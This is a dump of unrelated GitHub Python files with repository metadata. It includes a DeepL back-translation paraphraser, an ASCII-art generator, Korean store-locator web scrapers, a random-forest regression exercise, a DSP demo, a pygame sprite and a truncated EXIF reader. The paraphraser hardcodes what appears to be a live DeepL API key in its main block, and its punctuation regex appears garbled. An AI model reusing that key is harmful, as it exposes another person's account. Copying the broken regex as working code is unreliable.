{"api_name": "os.path", "line_number": 253, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 261, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path", "line_number": 263, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 272, "usage_type": "call"}, {"api_name": "os.path", "line_number": 272, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "PyQt6.QtMultimedia.QMediaPlayer.PlaybackState", "line_number": 294, "usage_type": "attribute"}, {"api_name": "PyQt6.QtMultimedia.QMediaPlayer", "line_number": 294, "usage_type": "name"}, {"api_name": "PyQt6.QtMultimedia.QMediaPlayer.PlaybackState", "line_number": 300, "usage_type": "attribute"}, {"api_name": "PyQt6.QtMultimedia.QMediaPlayer", "line_number": 300, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QStyle.StandardPixmap", "line_number": 302, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets.QStyle", "line_number": 302, "usage_type": "name"}, {"api_name": "PyQt6.QtWidgets.QStyle.StandardPixmap", "line_number": 305, "usage_type": "attribute"}, {"api_name": "PyQt6.QtWidgets.QStyle", "line_number": 305, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 349, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 349, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 353, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 353, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 358, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 358, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 363, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 363, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 364, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 364, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 365, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 365, "usage_type": "name"}, {"api_name": "PyQt6.QtCore.Qt.Key", "line_number": 366, "usage_type": "attribute"}, {"api_name": "PyQt6.QtCore.Qt", "line_number": 366, "usage_type": "name"}, {"api_name": "signal.signal", "line_number": 406, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 406, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 408, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 414, "usage_type": "call"}, {"api_name": "PyQt6.QtWidgets.QApplication", "line_number": 417, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 417, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 427, "usage_type": "call"}]} {"seq_id": "8201440549", "text": "import requests\nfrom googletrans import Translator\nimport re,string\nimport contractions\n\ndef normalize_text(text):\n \"\"\"\n Remove punctuation except in real value or date(e.g. 2.5, 25/10/2015),line break and lowercase all words\n :param text: sentence to normalize\n :return return a preprocessed sentence e.g. \"This is a ? 12\\3 ?? 5.5 covid-19 ! ! * & $ % ^\" => \"this is a 12\\3 5.5 covid-19\"\n \"\"\"\n regex = \"(??@[\\]^_`{|}~](?!\\w)\"\n\n #remove punctuation\n result = re.sub(regex, \"\", text, 0)\n\n #trim to remove excessive whitespace\n result = re.sub(' +', ' ',(result.replace('\\n',' '))).strip().lower()\n\n return result\n\ndef expand_contractions(text):\n \"\"\" expand shortened words, e.g. don't to do not \"\"\"\n\n return contractions.fix(text)\n\ndef translate_wrapper(sentence,target):\n \"\"\"\n Translate sentence to target language using googletrans library which is a Google Translate API wrapper,\n call this function when you don't have Google Translate API credentials\n :param sentence: sentence to translate\n :param target: target language value can be: ar,fr,en,de,ru,zh,ja,it,... visit for more language https://cloud.com/translate/docs/languages\n :return translated sentence\n \"\"\"\n translator = Translator()\n \n try:\n # translate the 'text' column\n response = translator.translate(sentence, dest=target)\n\n except Exception as e: # mean Google restrict IP address\n response = \"Probably Google has banned your client IP addres\"+str(e)\n return response\n tmp = expand_contractions(response.text)\n return normalize_text(tmp)\n # return response.text\n\n\ndef translate(utterance,target,api_key):\n \"\"\"\n Translate a sentence\n :param utterance: sentence to translate\n :param target: target language\n :param api_key: Authentication Key for DeepL API https://www.deepl.com/pro-account.html\n :return Translated utterance \n \"\"\"\n\n data = {\n 'auth_key': api_key,\n 'text': utterance,\n 'target_lang': target\n }\n\n response = requests.post('https://api.deepl.com/v2/translate', data=data)\n data = response.json()\n return data['translations'][0]['text']\n\ndef multi_translate(utterance,api_key,pivot_level):\n \"\"\"\n Translate sentence\n :param utterance: sentence to translate\n :param api_key: Authentication Key for DeepL API https://www.deepl.com/pro-account.html\n :param pivot_level: integer that indicate the pivot language level, single-pivot or multi-pivot range,1 =single-pivot, 2=double-pivot, 0=apply single and double\n :return list of utterance translations\n \"\"\"\n \n response = set()\n text = utterance\n if pivot_level == 0 or pivot_level == 1:\n tmp = translate(text,'IT',api_key)\n response.add(translate_wrapper(tmp,'en')) # translate back to english with google translator wrapper\n # tmp = translate(tmp,'EN',api_key) # translate back to english with deepl\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n \n\n tmp = translate(text,'RU',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'FR',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'JA',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'DE',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n \n if pivot_level == 0 or pivot_level == 2:\n tmp = translate(text,'IT',api_key)\n tmp = translate(tmp,'RU',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'IT',api_key)\n tmp = translate(tmp,'DE',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'RU',api_key)\n tmp = translate(tmp,'FR',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'RU',api_key)\n tmp = translate(tmp,'JA',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'JA',api_key)\n tmp = translate(tmp,'FR',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n\n tmp = translate(text,'JA',api_key)\n tmp = translate(tmp,'DE',api_key)\n response.add(translate_wrapper(tmp,'en'))\n tmp = translate(tmp,'EN',api_key)\n tmp = expand_contractions(tmp)\n response.add(normalize_text(tmp))\n return response\n\ndef translate_file(file_path,api_key,pivot_level):\n \"\"\"\n Translate a file\n :param file_path: file path\n :param api_key: Authentication Key for DeepL API https://www.deepl.com/pro-account.html\n :param pivot_level: integer that indicate the pivot language level, single-pivot or multi-pivot range,1 =single-pivot, 2=double-pivot, 0=apply single and double\n :return Python dictionary containing translsation, Key are initial sentence and vaule are a set of translations\n \"\"\"\n\n paraphrases = dict()\n #import data from file_path\n f=open(file_path, \"r\")\n while True: \n # Get next line from file \n line = f.readline()\n if not line: \n break\n line = line.replace('\\n', '').replace('\\r', '') #remove linebreak\n tmp = multi_translate(line,api_key,pivot_level)\n paraphrases[line]=tmp\n\n return paraphrases\n\ndef translate_dict(data,api_key,pivot_level):\n \"\"\"\n Translate a dictionary\n :param data: data in python dictionary, Key initial expression and value is a set of translations\n :param api_key: Authentication Key for DeepL API https://www.deepl.com/pro-account.html\n :param pivot_level: integer that indicate the pivot language level, single-pivot or multi-pivot range,1 =single-pivot, 2=double-pivot, 0=apply single and double\n :return Python dictionary containing translsation, Key are initial sentence and vaule are a set of translations\n \"\"\"\n paraphrases = dict()\n \n for key,value in data.items():\n tmp = multi_translate(value,api_key,pivot_level)\n paraphrases[key]=tmp\n return paraphrases\n\ndef translate_list(data,api_key,pivot_level):\n \"\"\"\n Translate a List of sentences\n :param data: data in python List, list of sentences\n :param api_key: Authentication Key for DeepL API https://www.deepl.com/pro-account.html\n :param pivot_level: integer that indicate the pivot language level, single-pivot or multi-pivot range,1 =single-pivot, 2=double-pivot, 0=apply single and double\n :return Python dictionary containing translsation, Key are initial sentence and vaule are a set of translations\n \"\"\"\n paraphrases = dict()\n \n for sentence in data:\n tmp = multi_translate(sentence,api_key,pivot_level)\n paraphrases[sentence]=tmp\n return paraphrases\n\nif __name__ == \"__main__\":\n print(multi_translate('How does COVID-19 spread?','f55c628f-a052-4431-90a7-86d0b8ca861b',1))\n \n", "repo_name": "AudayBerro/automatedParaphrase", "sub_path": "translator/deepl_translator.py", "file_name": "deepl_translator.py", "file_ext": "py", "file_size_in_byte": 7659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.sub", "line_number": 15, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 18, "usage_type": "call"}, {"api_name": "contractions.fix", "line_number": 25, "usage_type": "call"}, {"api_name": "googletrans.Translator", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 64, "usage_type": "call"}]} {"seq_id": "26227041927", "text": "from PIL import Image, ImageEnhance, ImageFont, ImageDraw, ImageStat\nfrom collections import defaultdict\nfrom bisect import bisect\nimport random as r\n\nImage.MAX_IMAGE_PIXELS = 100000000\n\ndef _calc_gradient(font_object) -> defaultdict:\n gradient = defaultdict(list)\n table = defaultdict(list)\n table[0].append(chr(32))\n min = 0\n max = 0\n \n for i in range(33,127):\n # finds the characters height and width and creates an image where it pastes the \n # character and processes it\n h, w = font_object.getsize(chr(i))\n image = Image.new('L', (h, w))\n draw = ImageDraw.Draw(image)\n draw.text((0,0), chr(i), font=font_object, fill=255)\n\n # finds the brightness value of the character and adds it to the table\n brightness_sum = ImageStat.Stat(image).sum[0]\n brightness_value = brightness_sum//(h*w)\n table[brightness_value].append(chr(i))\n\n if (brightness_value > max):\n max = brightness_value\n\n for key in table:\n tmp = (255 * (key - min)) // (max - min)\n gradient[tmp] = table[key]\n\n return gradient\n\n\ndef _select_symbol(gradient, val) -> str:\n keys = sorted(gradient.keys())\n idx = bisect(keys, val) - 1\n key = keys[idx]\n symbols = gradient[key]\n if (len(symbols) > 1):\n idx = r.randint(0, len(symbols) - 1)\n return symbols[idx]\n else:\n return symbols[0]\n\n\ndef print_dict(dictionary):\n for key in sorted(dictionary.keys()):\n print(key, dictionary[key])\n\n\ndef _block_brightness(image, box) -> int:\n image = image.crop(box)\n area = (box[2]-box[0])*(box[3]-box[1])\n return ImageStat.Stat(image).sum[0] // area\n\n\ndef _gradient_selector(font, size = None) -> [defaultdict, int]:\n try:\n ImageFont.truetype(font, 12)\n except OSError:\n try:\n ImageFont.load(font)\n except OSError:\n print('Cannot open font file')\n \n gradient = defaultdict(list)\n length = -1\n\n if size == None:\n for i in range(8, 131):\n tmp = _calc_gradient(ImageFont.truetype(font, i))\n tmp_length = len(tmp)\n if (tmp_length > length):\n gradient = tmp\n length = tmp_length\n size = i\n else:\n gradient = _calc_gradient(font, size)\n\n return gradient, size\n\ndef generate(image, font):\n gradient, size = _gradient_selector(font)\n font = ImageFont.truetype(font, size)\n ascii_art = ''\n with Image.open(image) as image:\n image_w, image_h = image.size\n font_w, font_h = font.getsize(_select_symbol(gradient, 255))\n\n for y in range(0, image_h, font_h):\n for x in range(0, image_w, font_w):\n brightness = _block_brightness(image, (x, y, x+font_w, y+font_h))\n char = _select_symbol(gradient, brightness)\n ascii_art += char\n ascii_art += '\\n'\n return ascii_art\n\n# def generate(image, font, fontsize, gradient):\n# font = ImageFont.truetype(font, fontsize)\n# sorted_table_keys = sorted(gradient.keys())\n\n# image_string = []\n# scale_ratio = 0\n# with Image.open(image) as image:\n# image_w = image.size[0]\n# image_h = image.size[1]\n# font_w, font_h = font.getsize(_select_symbol(gradient, 255))\n# font_aspect_ratio = font_w/font_h\n# font_scaler = image_h/100\n# font_w = int(font_aspect_ratio * font_scaler * 1.1)\n# font_h = int(font_scaler)\n\n# brightness = 0\n# scale_ratio = image_w\n\n# for y in range(0, image_h, font_h):\n# for x in range(0, image_w, font_w):\n# brightness = _block_brightness(image, (x, y, x+font_w, y+font_h))\n# char = _select_symbol(gradient, brightness)\n# image_string.append(char)\n# image_string.append('\\n')\n# image_string = ''.join(image_string) \n\n# im = Image.new(\"RGB\", (10000,10000))\n# img = ImageDraw.Draw(im)\n\n# img.text((0,0), image_string, font=font)\n \n# im = im.crop(im.getbbox())\n# im = im.convert('L')\n# scale_ratio /= im.size[0]\n# im = im.resize((int(im.size[0]*scale_ratio), \n# int(im.size[1]*scale_ratio)), \n# resample=Image.BICUBIC)\n# im.show()\n# return im\n\n_gradient_selector(\"UbuntuMono-R.ttf\")", "repo_name": "392781/asciigen", "sub_path": "asciigen/ascii_art.py", "file_name": "ascii_art.py", "file_ext": "py", "file_size_in_byte": 4376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PIL.Image.MAX_IMAGE_PIXELS", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 19, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 19, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 20, "usage_type": "name"}, {"api_name": "PIL.ImageStat.Stat", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.ImageStat", "line_number": 24, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "name"}, {"api_name": "bisect.bisect", "line_number": 40, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 44, "usage_type": "call"}, {"api_name": "PIL.ImageStat.Stat", "line_number": 58, "usage_type": "call"}, {"api_name": "PIL.ImageStat", "line_number": 58, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 63, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 63, "usage_type": "name"}, {"api_name": "PIL.ImageFont.load", "line_number": 66, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 66, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 70, "usage_type": "call"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 75, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 75, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 61, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 88, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 88, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 90, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 90, "usage_type": "name"}]} {"seq_id": "74498256544", "text": "from datetime import datetime\nfrom itertools import count\n\nfrom bs4 import BeautifulSoup\n\nfrom collection import crawler\n\nfrom selenium import webdriver\n\nimport time\n\nimport pandas as pd\n\ndef crawling_pelicana():\n results = []\n for page in count(start=1, step=1):\n url = 'https://pelicana.co.kr/store/stroe_search.html?branch_name=&gu=&si=&page=%d' % page\n html = crawler.crawling(url)\n\n bs = BeautifulSoup(html, 'html.parser')\n tag_table = bs.find('table',attrs={'class':['table','mt20']})\n tag_tbody = tag_table.find('tbody')\n tags_tr = tag_tbody.findAll('tr')\n\n # 끝 검출\n if len(tags_tr) == 0:\n break\n\n for tag_tr in tags_tr:\n strings = list(tag_tr.strings)\n name = strings[1]\n address = strings[3]\n\n sidogu = address.split()[0:2]\n\n t = (name, address) + tuple(sidogu)\n\n results.append(t)\n\n # store\n table = pd.DataFrame(results,columns=['name','address','sido','gugun'])\n table.to_csv('results/pelicana.csv', encoding='utf-8',mode='w', index=True)\n\n # print(name,address, sep=':')\n\ndef crawling_kyochon():\n results = []\n for sido1 in range(1,18):\n for sido2 in count(start=1,step=1):\n url = 'http://www.kyochon.com/shop/domestic.asp?sido1=%d&sido2=%d&txtsearch='%(sido1,sido2)\n html = crawler.crawling(url)\n\n if html is None:\n break\n\n bs = BeautifulSoup(html, 'html.parser')\n tag_ul = bs.find('ul', attrs={'class':'list'})\n tags_span = tag_ul.findAll('span', attrs={'class':'store_item'})\n\n for tag_span in tags_span:\n strings = list(tag_span.strings)\n name = strings[1]\n address = strings[3].strip('\\r\\n\\t')\n sidogu = address.split()[0:2]\n\n t = (name, address) + tuple(sidogu)\n print(t)\n results.append(t)\n # print(results)\n\n # store\n table = pd.DataFrame(results,columns=['name','address','sido','gugun'])\n table.to_csv('results/kychon.csv', encoding='utf-8',mode='w', index=True)\n\ndef crawling_nene():\n results = []\n for page in count(start=1, step=1):\n url = 'https://nenechicken.com/17_new/sub_shop01.asp?page=%d'%page\n html = crawler.crawling(url)\n\n bs = BeautifulSoup(html,'html.parser')\n divs = bs.findAll('div', attrs={'class':'shopInfo'})\n\n for div in divs:\n div_shop = div.find('div', attrs={'class':'shopName'})\n div_add = div.find('div', attrs={'class':'shopAdd'})\n name = list(div_shop.strings)[0]\n # print(name)\n address = list(div_add.strings)[0]\n sidogu = address.split()[0:2]\n # print(sidogu)\n\n t = (name, address) + tuple(sidogu)\n # print(t)\n results.append(t)\n\n if (page >= 47) and (name == '서울구로구고척스카이돔점'):\n break\n # store\n table = pd.DataFrame(results,columns=['name','address','sido','gugun'])\n table.to_csv('results/nene.csv',encoding='utf-8', mode='w', index=True)\n\ndef crawling_goobne():\n url = 'http://www.goobne.co.kr/store/search_store.jsp'\n\n # 첫 페이지 로딩\n wd = webdriver.Chrome('/Applications/gachon2020/chromedriver')\n wd.get(url)\n time.sleep(2)\n\n results = []\n for page in count(start=1,step=1):\n # 자바스크립트 실행\n script = 'store.getList(%d)'%page\n wd.execute_script(script)\n print(f'{datetime.now()} : success for request[{script}]')\n time.sleep(2)\n\n # 자바스크립트 실행결과 HTML(동적으로 렌더링 된 HTML) 가져오기\n html = wd.page_source\n\n # parsing with bs4\n bs = BeautifulSoup(html, 'html.parser')\n tag_tbody = bs.find('tbody', attrs={'id':'store_list'})\n tags_tr = tag_tbody.findAll('tr')\n\n # 끝 검출\n if tags_tr[0].get('class') is None:\n break\n\n for tag_tr in tags_tr:\n strings = list(tag_tr.strings)\n name = strings[1]\n address = strings[6]\n sidogu = address.split()[0:2]\n\n t = (name,address) + tuple(sidogu)\n results.append(t)\n\n wd.quit()\n\n # store\n table = pd.DataFrame(results,columns=['name','address','sido','gugun'])\n table.to_csv('results/goobne.csv',encoding='utf-8', mode='w', index=True)\n\n\nif __name__ == '__main__':\n # 페리카나\n # crawling_pelicana()\n\n # 네체치킨\n # crawling_nene()\n\n\n # 교촌치킨\n # crawling_kyochon()\n\n # 굽네치킨\n crawling_goobne()", "repo_name": "KANGSUNGHO/StudySpace", "sub_path": "python/python-crawler/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.count", "line_number": 16, "usage_type": "call"}, {"api_name": "collection.crawler.crawling", "line_number": 18, "usage_type": "call"}, {"api_name": "collection.crawler", "line_number": 18, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 41, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 49, "usage_type": "call"}, {"api_name": "collection.crawler.crawling", "line_number": 51, "usage_type": "call"}, {"api_name": "collection.crawler", "line_number": 51, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 72, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 77, "usage_type": "call"}, {"api_name": "collection.crawler.crawling", "line_number": 79, "usage_type": "call"}, {"api_name": "collection.crawler", "line_number": 79, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 81, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 100, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 107, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 107, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 112, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 116, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 117, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 123, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 143, "usage_type": "call"}]} {"seq_id": "36925123354", "text": "# RandomForest Regressor Practice\n\n# import packages\nfrom sklearn.ensemble import RandomForestRegressor # 회귀트리 모델\nfrom sklearn.model_selection import train_test_split # train / test\nfrom sklearn.datasets import fetch_california_housing, load_boston # dataset\nfrom sklearn.metrics import mean_squared_error # 평균제곱오차\n\nimport numpy as np\nimport pandas as pd\n########################################################################################################################\n# 1. dataset loading\nX, y = fetch_california_housing(return_X_y=True)\nX.shape\ny.shape # Ok\n\n# 2. normalization\ny = np.log(y) # 추후 부동산 데이터로 test 할 때도 종속변수 정규화가 필요\n\n# 3. model 생성\nmodel = RandomForestRegressor()\n\nmodel.fit(X=X, y=y)\n\ny_pred = model.predict(X) # 훈련 후 predict 으로 예측하는 y\ny_true = y # 실제 y\n\n# 4-1. model 평가: 평균제곱오차가 작을수록 정확\nmse = mean_squared_error(y_true, y_pred)\nprint('mse = ', mse)\n\n# 4-2. model 평가: 상관관계가 높을수록 정확\ndf = pd.DataFrame({'y_true': y_true, 'y_pred': y_pred})\ncor = df['y_true'].corr(df['y_pred'])\n\n########################################################################################################################\n# 1. dataset load\nX, y = load_boston(return_X_y=True)\nX.shape # (506, 13)\n\nboston = load_boston()\nX = boston.data\ny = boston.target\ncolnames = boston.feature_names # 13개 칼럼 이름 가져올때\ncolnames\n# ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT']\n\n\n# 2. train/test split\nx_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.3)\nx_train.shape # (354, 13)\n\n\n# 3. model\nmodel = RandomForestRegressor(n_estimators=400, min_samples_split=3)\nmodel.fit(X = x_train, y = y_train)\n\nRandomForestRegressor()\n# 4. model의 중요변수\nimp = model.feature_importances_\nimp\nlen(imp) # 13 => 13개 칼럼들\ncolnames\n\nimport matplotlib.pyplot as plt\nplt.barh(range(13), imp) # (x, y) # 중요도 (y에 얼마나 영향을 미치는지)\nplt.yticks(range(13), colnames) # 축 이름\n\n\n\n\n", "repo_name": "Yihwankim/paper_project_new", "sub_path": "main_code/machine learning/machine_learning_practice_random_forest_regression.py", "file_name": "machine_learning_practice_random_forest_regression.py", "file_ext": "py", "file_size_in_byte": 2130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sklearn.datasets.fetch_california_housing", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 21, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_boston", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_boston", "line_number": 41, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 50, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 55, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestRegressor", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.barh", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}]} {"seq_id": "31680664449", "text": "# M. P. Hayes UCECE\nimport numpy as np\nimport scipy.signal as signal\nfrom ipywidgets import interact, interactive, fixed, interact\nfrom .lib.signal_plot import signal_plot\n\ndef ma_lpf_impulse_plot(M=10, fs=100, lollipop=True):\n\n N = 100\n t = np.arange(N) / fs\n\n u = np.zeros(N)\n u[0] = 1\n\n b = np.ones(M) / M\n a = 1\n x = signal.lfilter(b=b, a=a, x=u)\n \n signal_plot(t, x, lollipop=lollipop)\n\ndef ma_lpf_impulse_demo1():\n interact(ma_lpf_impulse_plot, M=(10, 100),\n fs=(10, 200, 10),\n continuous_update=False)\n \n \n\n \n\n\n\n\n \n\n", "repo_name": "mph-/dsp-notebooks", "sub_path": "intro/demos/ma_lpf_impulse_demo1.py", "file_name": "ma_lpf_impulse_demo1.py", "file_ext": "py", "file_size_in_byte": 589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.arange", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 15, "usage_type": "call"}, {"api_name": "scipy.signal.lfilter", "line_number": 17, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 17, "usage_type": "name"}, {"api_name": "lib.signal_plot.signal_plot", "line_number": 19, "usage_type": "call"}, {"api_name": "ipywidgets.interact", "line_number": 22, "usage_type": "call"}]} {"seq_id": "39291408906", "text": "import pygame\n\nfrom typing import Sequence\nfrom engine.objects import AnimatedSprite\nfrom engine.core import EngineEvent, EventTypes, EngineSettings\nfrom engine.objects.sprite import SpriteTypes\n\nfrom asi import settings\n\n\nclass Grad(AnimatedSprite):\n def init(self, coords, speed):\n self.load_image(\"projectly/grad.png\")\n\n self.scale_image((50, 50))\n self.rect.x = coords[0]\n self.rect.y = coords[1]\n self.speed = speed\n\n self.width = self.image.get_width()\n self.height = self.image.get_height()\n\n def update(self):\n self.rect.y += self.speed\n if self.checking_touch_by_type(SpriteTypes.PLAYER):\n self.find_sprites(SpriteTypes.PLAYER)[0].change_health(-30 * self.find_sprites(SpriteTypes.PLAYER)[0].arms)\n \n if EngineSettings.get_var(\"PLAY_SOUNDS\"):\n pygame.mixer.Channel(9).play(pygame.mixer.Sound(\"asi/main/resources/sound/arms_kill.mp3\"))\n\n self.kill()\n\n if self.checking_touch_by_type(SpriteTypes.OBSTACLE):\n self.kill()\n\n", "repo_name": "FofuHupopo/ASI", "sub_path": "asi/main/sprites/enemy/grad.py", "file_name": "grad.py", "file_ext": "py", "file_size_in_byte": 1074, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "engine.objects.AnimatedSprite", "line_number": 11, "usage_type": "name"}, {"api_name": "engine.objects.sprite.SpriteTypes.PLAYER", "line_number": 25, "usage_type": "attribute"}, {"api_name": "engine.objects.sprite.SpriteTypes", "line_number": 25, "usage_type": "name"}, {"api_name": "engine.objects.sprite.SpriteTypes.PLAYER", "line_number": 26, "usage_type": "attribute"}, {"api_name": "engine.objects.sprite.SpriteTypes", "line_number": 26, "usage_type": "name"}, {"api_name": "engine.core.EngineSettings.get_var", "line_number": 28, "usage_type": "call"}, {"api_name": "engine.core.EngineSettings", "line_number": 28, "usage_type": "name"}, {"api_name": "pygame.mixer.Channel", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 29, "usage_type": "call"}, {"api_name": "engine.objects.sprite.SpriteTypes.OBSTACLE", "line_number": 33, "usage_type": "attribute"}, {"api_name": "engine.objects.sprite.SpriteTypes", "line_number": 33, "usage_type": "name"}]} {"seq_id": "27703179277", "text": "import cv2\r\nimport numpy as np\r\nfrom pyexiv2 import Image\r\nimport os\r\n\r\n\r\ndef image_info(imagepath):\r\n \"\"\"obtain xmp、exif data\"\"\"\r\n\r\n img = Image(imagepath)\r\n exif = img.read_exif()\r\n # exifdata = piexif.load(imagepath)\r\n img.read_iptc()\r\n xmp = img.read_xmp()\r\n # b_name = xmp['Xmp.drone-dji.BandName']\r\n 